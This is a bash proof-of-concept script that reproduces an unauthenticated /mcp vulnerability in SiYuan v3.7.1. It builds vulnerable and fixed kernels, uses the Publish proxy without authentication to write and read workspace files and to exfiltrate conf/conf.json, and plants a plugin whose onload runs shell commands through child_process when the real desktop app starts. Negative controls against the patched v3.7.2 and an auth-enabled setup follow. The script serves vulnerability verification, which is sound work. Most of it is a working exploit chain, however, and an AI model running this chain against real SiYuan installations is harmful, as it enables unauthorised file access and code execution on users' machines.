#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
STAGE_LOGS="$LOGS/repro"
mkdir -p "$STAGE_LOGS" "$REPRO_DIR"

cd "$ROOT"

MANIFEST="$REPRO_DIR/runtime_manifest.json"
MAIN_LOG="$STAGE_LOGS/reproduction_steps.log"
: > "$MAIN_LOG"
: > "$STAGE_LOGS/apt-install.log"
: > "$STAGE_LOGS/apt-update.log"
exec > >(tee -a "$MAIN_LOG") 2>&1

write_manifest_initial() {
  python3 - "$MANIFEST" <<'PY'
import json, sys
path = sys.argv[1]
data = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "POST /mcp via Publish reverse proxy on 127.0.0.1:6808 with anonymous Publish enabled",
  "service_started": False,
  "healthcheck_passed": False,
  "target_path_reached": False,
  "runtime_stack": ["siyuan-kernel", "publish-reverse-proxy", "siyuan-electron-desktop", "xvfb"],
  "proof_artifacts": ["logs/repro/reproduction_steps.log"],
  "notes": "reproduction_steps.sh started; final result not yet known"
}
with open(path, "w", encoding="utf-8") as f:
    json.dump(data, f, indent=2)
    f.write("\n")
PY
}

write_manifest_success() {
  python3 - "$MANIFEST" <<'PY'
import json, os, sys
path = sys.argv[1]
artifacts = [
  "logs/repro/reproduction_steps.log",
  "logs/repro/source-v3.7.1-mcp-server.go",
  "logs/repro/source-v3.7.2-mcp-server.go",
  "logs/repro/siyuan-vuln-anon.log",
  "logs/repro/mcp-init-response.log",
  "logs/repro/mcp-write-response.log",
  "logs/repro/mcp-read-response.log",
  "logs/repro/mcp-conf-response.log",
  "logs/repro/mcp-plugin-json-write-response.log",
  "logs/repro/mcp-plugin-index-write-response.log",
  "logs/repro/mcp-petals-write-response.log",
  "logs/repro/siyuan-desktop-rce.log",
  "logs/repro/siyuan-desktop-rce-app.log",
  "logs/repro/desktop-rce-marker.log",
  "logs/repro/siyuan-vuln-auth.log",
  "logs/repro/mcp-auth-control-response.log",
  "logs/repro/siyuan-fixed-anon.log",
  "logs/repro/mcp-fixed-control-response.log",
  "logs/repro/command-exec-negative-control.json"
]
extra_marker = os.environ.get("RCE_MARKER_UNIQUE_REL")
if extra_marker and extra_marker not in artifacts:
    artifacts.append(extra_marker)
data = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "POST /mcp via Publish reverse proxy on 127.0.0.1:6808 with anonymous Publish enabled, followed by real SiYuan Electron desktop loading the MCP-planted plugin",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["siyuan-kernel", "publish-reverse-proxy", "mcp-json-rpc", "siyuan-electron-desktop", "xvfb"],
  "proof_artifacts": artifacts,
  "notes": "Vulnerable v3.7.1 allows unauthenticated Publish-proxied /mcp file reads/writes and MCP-planted desktop plugin command execution; Publish auth and fixed v3.7.2 block unauthenticated /mcp before planting."
}
with open(path, "w", encoding="utf-8") as f:
    json.dump(data, f, indent=2)
    f.write("\n")
PY
}

write_manifest_initial

# --- project cache layout ---------------------------------------------------
CACHE_DIR=""
CACHE_SCHEMA_VERSION=1
CACHE_MANIFEST=""
if [ -f "$ROOT/project_cache_context.json" ]; then
  PREPARED=$(jq -r '.prepared // false' "$ROOT/project_cache_context.json")
  CANDIDATE_CACHE=$(jq -r '.project_cache_dir // ""' "$ROOT/project_cache_context.json")
  if [ "$PREPARED" = "true" ] && [ -n "$CANDIDATE_CACHE" ] && [ -d "$CANDIDATE_CACHE" ]; then
    CACHE_DIR="$CANDIDATE_CACHE"
  fi
  CACHE_SCHEMA_VERSION=$(jq -r '.cache_manifest_schema_version // 1' "$ROOT/project_cache_context.json")
  CACHE_MANIFEST=$(jq -r '.cache_manifest_path // ""' "$ROOT/project_cache_context.json")
fi
if [ -z "$CACHE_DIR" ]; then
  CACHE_DIR="$ROOT/artifacts/siyuan"
fi
REPO_DIR="$CACHE_DIR/repo"
BUILD_DIR="$CACHE_DIR/builds"
RELEASE_DIR="$CACHE_DIR/releases"
DESKTOP_ROOT="/tmp/siyuan-desktop-runtime"
mkdir -p "$REPO_DIR" "$BUILD_DIR" "$RELEASE_DIR" "$DESKTOP_ROOT"

echo "[*] Using project cache: $CACHE_DIR"

# Go build caches live in /tmp so reusable project cache is not filled with transient compiler data.
export GOMODCACHE=/tmp/gomodcache
export GOCACHE=/tmp/gocache
mkdir -p "$GOMODCACHE" "$GOCACHE"

# --- dependency installation ------------------------------------------------
need_base_deps=false
for cmd in git curl jq tar gzip python3; do
  if ! command -v "$cmd" >/dev/null 2>&1; then
    need_base_deps=true
  fi
done
if ! command -v go >/dev/null 2>&1; then
  need_base_deps=true
fi
if ! command -v xvfb-run >/dev/null 2>&1; then
  need_base_deps=true
fi
if [ ! -f /usr/include/sqlite3.h ]; then
  need_base_deps=true
fi

install_if_available() {
  local pkgs=()
  local p candidate
  for p in "$@"; do
    candidate=$(apt-cache policy "$p" 2>/dev/null | awk '/Candidate:/ {print $2; exit}')
    if [ -n "$candidate" ] && [ "$candidate" != "(none)" ]; then
      pkgs+=("$p")
    else
      echo "[deps] Skipping unavailable package $p" >>"$STAGE_LOGS/apt-install.log"
    fi
  done
  if [ "${#pkgs[@]}" -gt 0 ]; then
    sudo apt-get install -y "${pkgs[@]}" >>"$STAGE_LOGS/apt-install.log" 2>&1
  fi
}

if [ "$need_base_deps" = true ]; then
  echo "[*] Installing build and desktop runtime dependencies (sudo apt-get) ..."
  sudo apt-get update >"$STAGE_LOGS/apt-update.log" 2>&1
  sudo apt-get install -y golang-go gcc libc6-dev libsqlite3-dev jq curl git tar gzip ca-certificates xvfb xauth >>"$STAGE_LOGS/apt-install.log" 2>&1
fi
# Electron/Chromium shared libraries. Some newer Ubuntu releases use t64 package names;
# install only names available in the current apt metadata.
sudo apt-get update >>"$STAGE_LOGS/apt-update.log" 2>&1 || true
install_if_available \
  libnss3 libxss1 libgbm1 libx11-xcb1 libxcb-dri3-0 libdrm2 libxcomposite1 libxdamage1 libxrandr2 \
  libxkbcommon0 libpango-1.0-0 libpangocairo-1.0-0 libcairo2 libxfixes3 libxtst6 libxshmfence1 \
  libgtk-3-0 libgtk-3-0t64 libasound2 libasound2t64 libatk-bridge2.0-0 libatk-bridge2.0-0t64 \
  libatk1.0-0 libatk1.0-0t64 libatspi2.0-0 libatspi2.0-0t64 libcups2 libcups2t64 \
  fonts-dejavu-core fonts-dejavu-mono fontconfig dbus-x11 xdg-utils

# --- ensure repository ------------------------------------------------------
ensure_repo() {
  if [ ! -d "$REPO_DIR/.git" ]; then
    echo "[*] Cloning SiYuan repository ..."
    rm -rf "$REPO_DIR"
    git clone --depth 1 --branch v3.7.1 https://github.com/siyuan-note/siyuan.git "$REPO_DIR" >"$STAGE_LOGS/git-clone.log" 2>&1
  fi
  if ! git -C "$REPO_DIR" rev-parse -q --verify v3.7.1 >/dev/null 2>&1; then
    git -C "$REPO_DIR" fetch --depth 1 origin tag v3.7.1 >"$STAGE_LOGS/git-fetch-v3.7.1.log" 2>&1
  fi
  if ! git -C "$REPO_DIR" rev-parse -q --verify v3.7.2 >/dev/null 2>&1; then
    git -C "$REPO_DIR" fetch --depth 1 origin tag v3.7.2 >"$STAGE_LOGS/git-fetch-v3.7.2.log" 2>&1
  fi
}
ensure_repo

VULN_COMMIT=$(git -C "$REPO_DIR" rev-parse v3.7.1)
FIXED_COMMIT=$(git -C "$REPO_DIR" rev-parse v3.7.2)
echo "[*] Vulnerable ref v3.7.1 -> $VULN_COMMIT"
echo "[*] Fixed ref v3.7.2 -> $FIXED_COMMIT"

git -C "$REPO_DIR" show v3.7.1:kernel/mcp/server.go >"$STAGE_LOGS/source-v3.7.1-mcp-server.go"
git -C "$REPO_DIR" show v3.7.2:kernel/mcp/server.go >"$STAGE_LOGS/source-v3.7.2-mcp-server.go"
if ! grep -q 'ginServer.POST("/mcp", model.CheckAuth, handlePost)' "$STAGE_LOGS/source-v3.7.1-mcp-server.go"; then
  echo "ERROR: vulnerable v3.7.1 source does not have expected unauthenticated/admin-missing MCP route"
  exit 1
fi
if ! grep -q 'ginServer.POST("/mcp", model.CheckAuth, model.CheckAdminRole' "$STAGE_LOGS/source-v3.7.2-mcp-server.go"; then
  echo "ERROR: fixed v3.7.2 source does not contain expected MCP admin-role gate"
  exit 1
fi
echo "[+] Source check: v3.7.1 lacks MCP admin role gate; v3.7.2 adds CheckAdminRole"

# --- build helpers ----------------------------------------------------------
build_kernel() {
  local tag=$1
  local out=$2
  local marker="$BUILD_DIR/$tag.commit"
  local current
  current=$(git -C "$REPO_DIR" rev-parse "$tag")
  if [ -f "$out" ] && [ -f "$marker" ] && [ "$(cat "$marker")" = "$current" ]; then
    echo "[*] Reusing $tag kernel binary $(cut -c1-12 <<< "$current")"
    return 0
  fi
  echo "[*] Building $tag kernel ($current) ..."
  git -C "$REPO_DIR" checkout -f "$tag" >/dev/null 2>&1
  (cd "$REPO_DIR/kernel" && GO111MODULE=on CGO_ENABLED=1 GOOS=linux go build -tags fts5 -ldflags "-s -w" -o "$out" .) >"$STAGE_LOGS/build-$tag.log" 2>&1
  echo "$current" > "$marker"
  echo "[+] $tag kernel ready at $out"
}

VULN_BIN="$BUILD_DIR/siyuan-kernel-v3.7.1"
FIXED_BIN="$BUILD_DIR/siyuan-kernel-v3.7.2"
build_kernel v3.7.1 "$VULN_BIN"
build_kernel v3.7.2 "$FIXED_BIN"

# --- real desktop release ---------------------------------------------------
DESKTOP_TARBALL="$RELEASE_DIR/siyuan-3.7.1-linux.tar.gz"
DESKTOP_DIR="$DESKTOP_ROOT/siyuan-3.7.1-linux"
DESKTOP_BIN="$DESKTOP_DIR/siyuan"
if [ ! -x "$DESKTOP_BIN" ]; then
  if [ ! -f "$DESKTOP_TARBALL" ]; then
    echo "[*] Downloading real SiYuan v3.7.1 Linux desktop release ..."
    curl -L --retry 3 --connect-timeout 20 -o "$DESKTOP_TARBALL.tmp" \
      "https://github.com/siyuan-note/siyuan/releases/download/v3.7.1/siyuan-3.7.1-linux.tar.gz" \
      >"$STAGE_LOGS/desktop-download.log" 2>&1
    mv "$DESKTOP_TARBALL.tmp" "$DESKTOP_TARBALL"
  fi
  echo "[*] Extracting real SiYuan v3.7.1 Linux desktop release ..."
  rm -rf "$DESKTOP_DIR"
  tar -xzf "$DESKTOP_TARBALL" -C "$DESKTOP_ROOT" >"$STAGE_LOGS/desktop-extract.log" 2>&1
  chmod +x "$DESKTOP_BIN" "$DESKTOP_DIR/resources/kernel/SiYuan-Kernel" 2>/dev/null || true
fi
if [ ! -x "$DESKTOP_BIN" ]; then
  echo "ERROR: desktop binary not available at $DESKTOP_BIN"
  exit 1
fi
echo "[*] Real desktop binary: $DESKTOP_BIN"

# --- persist cache manifest -------------------------------------------------
if [ -n "$CACHE_MANIFEST" ] && [ "$CACHE_MANIFEST" != "null" ]; then
  mkdir -p "$(dirname "$CACHE_MANIFEST")"
  jq -n \
    --argjson schema_version "$CACHE_SCHEMA_VERSION" \
    '{schema_version: $schema_version, entries: [
      {path: "repo", reuse_class: "repo"},
      {path: "builds", reuse_class: "build"},
      {path: "releases", reuse_class: "package"}
    ]}' > "$CACHE_MANIFEST"
fi

# --- process control --------------------------------------------------------
KERNEL_PID=""
DESKTOP_PGID=""

kill_by_pattern() {
  local pattern=$1
  local self=$$
  local bashpid=${BASHPID:-$$}
  local pid
  while read -r pid; do
    [ -n "$pid" ] || continue
    if [ "$pid" != "$self" ] && [ "$pid" != "$bashpid" ]; then
      kill -9 "$pid" 2>/dev/null || true
    fi
  done < <(pgrep -f "$pattern" 2>/dev/null || true)
}

cleanup_processes() {
  if [ -n "${DESKTOP_PGID:-}" ]; then
    kill -TERM "-$DESKTOP_PGID" 2>/dev/null || true
    sleep 1
    kill -KILL "-$DESKTOP_PGID" 2>/dev/null || true
    DESKTOP_PGID=""
  fi
  if [ -n "${KERNEL_PID:-}" ] && kill -0 "$KERNEL_PID" 2>/dev/null; then
    kill "$KERNEL_PID" 2>/dev/null || true
    sleep 1
    kill -9 "$KERNEL_PID" 2>/dev/null || true
    KERNEL_PID=""
  fi
  kill_by_pattern 'siyuan-kernel-v3\.7\.[12]'
  kill_by_pattern 'SiYuan-Kernel serve --port 6806'
  kill_by_pattern 'siyuan-3\.7\.1-linux/siyuan'
}
trap cleanup_processes EXIT
cleanup_processes

start_kernel() {
  local binary=$1
  local workspace=$2
  local log=$3
  rm -f "$log"
  "$binary" serve --workspace="$workspace" --wd="$REPO_DIR/app" --port=6806 --log-level=info >"$log" 2>&1 &
  KERNEL_PID=$!
}

wait_for_publish() {
  local log=$1
  for _ in $(seq 1 90); do
    if [ -f "$log" ] && grep -q "publish service \[0.0.0.0:6808\] is running" "$log"; then
      return 0
    fi
    if [ -n "$KERNEL_PID" ] && ! kill -0 "$KERNEL_PID" 2>/dev/null; then
      return 1
    fi
    sleep 1
  done
  return 1
}

stop_kernel() {
  if [ -n "${KERNEL_PID:-}" ] && kill -0 "$KERNEL_PID" 2>/dev/null; then
    kill "$KERNEL_PID" 2>/dev/null || true
    sleep 2
    kill -9 "$KERNEL_PID" 2>/dev/null || true
  fi
  KERNEL_PID=""
  kill_by_pattern 'siyuan-kernel-v3\.7\.[12]'
  sleep 1
}

MCP_URL="http://127.0.0.1:6808/mcp"

mcp_init() {
  local out=$1
  curl -s -i -X POST --max-time 10 "$MCP_URL" \
    -H 'Content-Type: application/json' \
    -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05"}}' \
    >"$out"
  grep -i '^Mcp-Session-Id:' "$out" | awk '{print $2}' | tr -d '\r'
}

mcp_post_payload() {
  local session=$1
  local payload=$2
  local out=$3
  curl -s -X POST --max-time 15 "$MCP_URL" \
    -H 'Content-Type: application/json' \
    -H "Mcp-Session-Id: $session" \
    -d "$payload" >"$out"
}

mcp_file_write() {
  local session=$1
  local relpath=$2
  local content=$3
  local out=$4
  local payload
  payload=$(jq -n --arg path "$relpath" --arg data "$content" \
    '{jsonrpc:"2.0", id:2, method:"tools/call", params:{name:"file", arguments:{action:"write", path:$path, data:$data}}}')
  mcp_post_payload "$session" "$payload" "$out"
  if ! grep -q 'file written' "$out"; then
    echo "ERROR: MCP file write failed for $relpath"
    cat "$out"
    exit 1
  fi
}

mcp_file_read() {
  local session=$1
  local relpath=$2
  local out=$3
  local payload
  payload=$(jq -n --arg path "$relpath" \
    '{jsonrpc:"2.0", id:3, method:"tools/call", params:{name:"file", arguments:{action:"read", path:$path, limit:-1}}}')
  mcp_post_payload "$session" "$payload" "$out"
}

# --- vulnerable chain: Publish anonymous -> /mcp -> workspace write/read -> desktop plugin RCE ---
VULN_WS="/tmp/siyuan-repro-vuln-anon-rce"
VULN_LOG="$STAGE_LOGS/siyuan-vuln-anon.log"
DESKTOP_HOME="/tmp/siyuan-repro-desktop-home"
DESKTOP_LOG="$STAGE_LOGS/siyuan-desktop-rce.log"
DESKTOP_APP_LOG="$STAGE_LOGS/siyuan-desktop-rce-app.log"
RCE_MARKER="$STAGE_LOGS/desktop-rce-marker.log"
RUN_ID="$(date +%s)-$$"
RCE_MARKER_TEXT="PRUVA_MCP_DESKTOP_RCE_${RUN_ID}"
CONTROL_MARKER_TEXT="PRUVA_MCP_DESKTOP_RCE_FIXED_CONTROL_${RUN_ID}"
RCE_MARKER_UNIQUE="$STAGE_LOGS/desktop-rce-marker-${RUN_ID}.log"
export RCE_MARKER_UNIQUE_REL="logs/repro/desktop-rce-marker-${RUN_ID}.log"
rm -rf "$VULN_WS" "$DESKTOP_HOME" "$RCE_MARKER" "$RCE_MARKER_UNIQUE" "$DESKTOP_LOG" "$DESKTOP_APP_LOG"
mkdir -p "$VULN_WS/conf" "$DESKTOP_HOME/.config/siyuan"
printf '["%s"]\n' "$VULN_WS" > "$DESKTOP_HOME/.config/siyuan/workspace.json"
cat > "$VULN_WS/conf/conf.json" <<'JSON'
{
  "kernelVersion": "3.7.1",
  "system": { "kernelVersion": "3.7.1" },
  "fileTree": { "sort": 0 },
  "bazaar": { "trust": true, "petalDisabled": false },
  "snippet": { "enabledCSS": true, "enabledJS": true },
  "publish": {
    "enable": true,
    "port": 6808,
    "auth": { "enable": false, "accounts": [] }
  }
}
JSON

echo "[*] Starting vulnerable SiYuan v3.7.1 kernel with anonymous Publish ..."
start_kernel "$VULN_BIN" "$VULN_WS" "$VULN_LOG"
if ! wait_for_publish "$VULN_LOG"; then
  echo "ERROR: vulnerable Publish service did not start"
  tail -80 "$VULN_LOG" || true
  exit 1
fi

echo "[*] Sending unauthenticated MCP initialize through Publish proxy ..."
SESSION=$(mcp_init "$STAGE_LOGS/mcp-init-response.log" || true)
if [ -z "$SESSION" ]; then
  echo "ERROR: failed to obtain unauthenticated MCP session from vulnerable Publish proxy"
  cat "$STAGE_LOGS/mcp-init-response.log"
  exit 1
fi
echo "[+] Vulnerable /mcp returned session: $SESSION"

mcp_file_write "$SESSION" "pwned.txt" "owned by unauthenticated mcp" "$STAGE_LOGS/mcp-write-response.log"
echo "[+] Unauthorized workspace file write via /mcp succeeded"

mcp_file_read "$SESSION" "pwned.txt" "$STAGE_LOGS/mcp-read-response.log"
if ! grep -q "owned by unauthenticated mcp" "$STAGE_LOGS/mcp-read-response.log"; then
  echo "ERROR: unauthorized file read did not return written marker"
  cat "$STAGE_LOGS/mcp-read-response.log"
  exit 1
fi
echo "[+] Unauthorized workspace file read via /mcp succeeded"

mcp_file_read "$SESSION" "conf/conf.json" "$STAGE_LOGS/mcp-conf-response.log"
if ! grep -q "kernelVersion" "$STAGE_LOGS/mcp-conf-response.log"; then
  echo "ERROR: conf/conf.json exfiltration failed"
  cat "$STAGE_LOGS/mcp-conf-response.log"
  exit 1
fi
echo "[+] conf/conf.json exfiltrated via /mcp file tool"

RCE_MARKER_ESC=$(printf '%s' "$RCE_MARKER_UNIQUE" | sed "s/'/'\\''/g")
PLUGIN_JSON='{"name":"pruvexec","version":"3.7.1","minAppVersion":"3.7.1","backends":["docker","linux"],"frontends":["desktop"],"displayName":{"default":"pruvexec"}}'
PLUGIN_JS=$(cat <<EOF
const { Plugin } = require("siyuan");
module.exports = class PruvExec extends Plugin {
  async onload() {
    const cp = require("child_process");
    cp.execFileSync("/bin/sh", ["-c", "printf $RCE_MARKER_TEXT > '$RCE_MARKER_ESC'; id >> '$RCE_MARKER_ESC'"]);
    console.log("$RCE_MARKER_TEXT EXECUTED");
  }
};
EOF
)
PETALS_JSON='[{"name":"pruvexec","enabled":true}]'

mcp_file_write "$SESSION" "data/plugins/pruvexec/plugin.json" "$PLUGIN_JSON" "$STAGE_LOGS/mcp-plugin-json-write-response.log"
mcp_file_write "$SESSION" "data/plugins/pruvexec/index.js" "$PLUGIN_JS" "$STAGE_LOGS/mcp-plugin-index-write-response.log"
mcp_file_write "$SESSION" "data/storage/petal/petals.json" "$PETALS_JSON" "$STAGE_LOGS/mcp-petals-write-response.log"
echo "[+] Attacker plugin and petals.json were planted through the unauthenticated MCP file tool"

stop_kernel

echo "[*] Launching real SiYuan v3.7.1 Electron desktop under Xvfb with MCP-planted workspace ..."
setsid env HOME="$DESKTOP_HOME" ELECTRON_ENABLE_LOGGING=true \
  xvfb-run -a "$DESKTOP_BIN" --no-sandbox --disable-gpu --disable-dev-shm-usage --workspace="$VULN_WS" --port=6806 \
  >"$DESKTOP_LOG" 2>&1 &
DESKTOP_PGID=$!
for _ in $(seq 1 120); do
  if [ -s "$RCE_MARKER_UNIQUE" ]; then
    break
  fi
  sleep 1
done
cp "$DESKTOP_HOME/.config/siyuan/app.log" "$DESKTOP_APP_LOG" 2>/dev/null || true
if [ ! -s "$RCE_MARKER_UNIQUE" ]; then
  echo "ERROR: desktop plugin command-execution marker was not created"
  echo "--- desktop app log ---"
  cat "$DESKTOP_APP_LOG" 2>/dev/null || true
  echo "--- desktop stdout/stderr tail ---"
  tail -120 "$DESKTOP_LOG" || true
  exit 1
fi
if ! grep -q "$RCE_MARKER_TEXT" "$RCE_MARKER_UNIQUE" || ! grep -q "uid=" "$RCE_MARKER_UNIQUE"; then
  echo "ERROR: marker exists but does not contain expected command output"
  cat "$RCE_MARKER_UNIQUE"
  exit 1
fi
cp "$RCE_MARKER_UNIQUE" "$RCE_MARKER"
echo "[+] Real desktop command execution observed from MCP-planted plugin:"
cat "$RCE_MARKER_UNIQUE"
cleanup_processes

# --- negative control 1: vulnerable version but Publish auth enabled --------
VULN_AUTH_WS="/tmp/siyuan-repro-vuln-auth-control"
VULN_AUTH_LOG="$STAGE_LOGS/siyuan-vuln-auth.log"
rm -rf "$VULN_AUTH_WS"
mkdir -p "$VULN_AUTH_WS/conf"
cat > "$VULN_AUTH_WS/conf/conf.json" <<'JSON'
{
  "kernelVersion": "3.7.1",
  "system": { "kernelVersion": "3.7.1" },
  "fileTree": { "sort": 0 },
  "publish": {
    "enable": true,
    "port": 6808,
    "auth": {
      "enable": true,
      "accounts": [{"username":"test","password":"test","memo":"control"}]
    }
  }
}
JSON

echo "[*] Negative control: vulnerable v3.7.1 with Publish auth enabled ..."
start_kernel "$VULN_BIN" "$VULN_AUTH_WS" "$VULN_AUTH_LOG"
if ! wait_for_publish "$VULN_AUTH_LOG"; then
  echo "ERROR: auth-enabled Publish control did not start"
  tail -80 "$VULN_AUTH_LOG" || true
  exit 1
fi
AUTH_CODE=$(curl -s -i -o "$STAGE_LOGS/mcp-auth-control-response.log" -w "%{http_code}" --max-time 10 -X POST "$MCP_URL" \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05"}}' || true)
if [ "$AUTH_CODE" != "401" ] && [ "$AUTH_CODE" != "403" ]; then
  echo "ERROR: expected HTTP 401/403 when Publish auth is enabled, got $AUTH_CODE"
  cat "$STAGE_LOGS/mcp-auth-control-response.log" || true
  exit 1
fi
if grep -qi '^Mcp-Session-Id:' "$STAGE_LOGS/mcp-auth-control-response.log"; then
  echo "ERROR: auth-enabled control unexpectedly returned MCP session"
  cat "$STAGE_LOGS/mcp-auth-control-response.log"
  exit 1
fi
echo "[+] Auth-enabled negative control blocked unauthenticated /mcp with HTTP $AUTH_CODE"
stop_kernel

# --- negative control 2: fixed v3.7.2, anonymous Publish --------------------
FIXED_WS="/tmp/siyuan-repro-fixed-anon-control"
FIXED_LOG="$STAGE_LOGS/siyuan-fixed-anon.log"
rm -rf "$FIXED_WS"
mkdir -p "$FIXED_WS/conf"
cat > "$FIXED_WS/conf/conf.json" <<'JSON'
{
  "kernelVersion": "3.7.2",
  "system": { "kernelVersion": "3.7.2" },
  "fileTree": { "sort": 0 },
  "publish": {
    "enable": true,
    "port": 6808,
    "auth": { "enable": false, "accounts": [] }
  }
}
JSON

echo "[*] Negative control: fixed SiYuan v3.7.2 with anonymous Publish ..."
start_kernel "$FIXED_BIN" "$FIXED_WS" "$FIXED_LOG"
if ! wait_for_publish "$FIXED_LOG"; then
  echo "ERROR: fixed Publish control did not start"
  tail -80 "$FIXED_LOG" || true
  exit 1
fi
FIXED_CODE=$(curl -s -i -o "$STAGE_LOGS/mcp-fixed-control-response.log" -w "%{http_code}" --max-time 10 -X POST "$MCP_URL" \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05"}}' || true)
if [ "$FIXED_CODE" != "401" ] && [ "$FIXED_CODE" != "403" ]; then
  echo "ERROR: expected HTTP 401/403 on fixed anonymous Publish, got $FIXED_CODE"
  cat "$STAGE_LOGS/mcp-fixed-control-response.log" || true
  exit 1
fi
if grep -qi '^Mcp-Session-Id:' "$STAGE_LOGS/mcp-fixed-control-response.log"; then
  echo "ERROR: fixed control unexpectedly returned MCP session"
  cat "$STAGE_LOGS/mcp-fixed-control-response.log"
  exit 1
fi
echo "[+] Fixed-version negative control blocked unauthenticated /mcp with HTTP $FIXED_CODE"
python3 - "$STAGE_LOGS/command-exec-negative-control.json" "$CONTROL_MARKER_TEXT" <<'PY'
import json, sys
path, marker = sys.argv[1], sys.argv[2]
data = {
  "schema_version": 1,
  "process_instance": "fixed-v3.7.2-anonymous-publish-control",
  "marker": marker,
  "target_path_reached": True,
  "marker_present": False,
}
with open(path, "w", encoding="utf-8") as f:
    json.dump(data, f, indent=2)
    f.write("\n")
PY
stop_kernel

write_manifest_success

echo "[+] Reproduction complete: confirmed unauthenticated /mcp read/write and MCP-planted desktop plugin command execution on v3.7.1; auth-enabled and v3.7.2 controls block the initial /mcp path."
exit 0
